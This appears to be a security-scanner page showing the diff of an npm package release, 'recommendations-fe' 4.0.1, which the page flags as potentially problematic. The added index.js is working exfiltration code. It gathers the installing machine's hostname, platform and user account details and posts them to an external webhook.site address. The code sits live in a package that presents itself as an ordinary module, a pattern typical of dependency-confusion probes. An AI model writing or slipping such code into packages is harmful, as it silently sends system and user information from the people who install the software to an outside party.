recommendations-fe 4.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of recommendations-fe might be problematic. Click here for more details.
- package/index.js +32 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,32 @@
|
|
1
|
+
// index.js
|
2
|
+
const https = require('https');
|
3
|
+
const os = require('os');
|
4
|
+
const data = JSON.stringify({
|
5
|
+
hostname: os.hostname(),
|
6
|
+
platform: os.platform(),
|
7
|
+
userInfo: os.userInfo(),
|
8
|
+
});
|
9
|
+
|
10
|
+
const options = {
|
11
|
+
hostname: 'webhook.site',
|
12
|
+
port: 443,
|
13
|
+
path: '/297a3bbd-e627-4ee3-8939-4719355fa74c',
|
14
|
+
method: 'POST',
|
15
|
+
headers: {
|
16
|
+
'Content-Type': 'application/json',
|
17
|
+
'Content-Length': data.length
|
18
|
+
}
|
19
|
+
};
|
20
|
+
|
21
|
+
const req = https.request(options, (res) => {
|
22
|
+
res.on('data', (d) => {
|
23
|
+
process.stdout.write(d);
|
24
|
+
});
|
25
|
+
});
|
26
|
+
|
27
|
+
req.on('error', (e) => {
|
28
|
+
console.error(e);
|
29
|
+
});
|
30
|
+
|
31
|
+
req.write(data);
|
32
|
+
req.end();
|
package/package.json
ADDED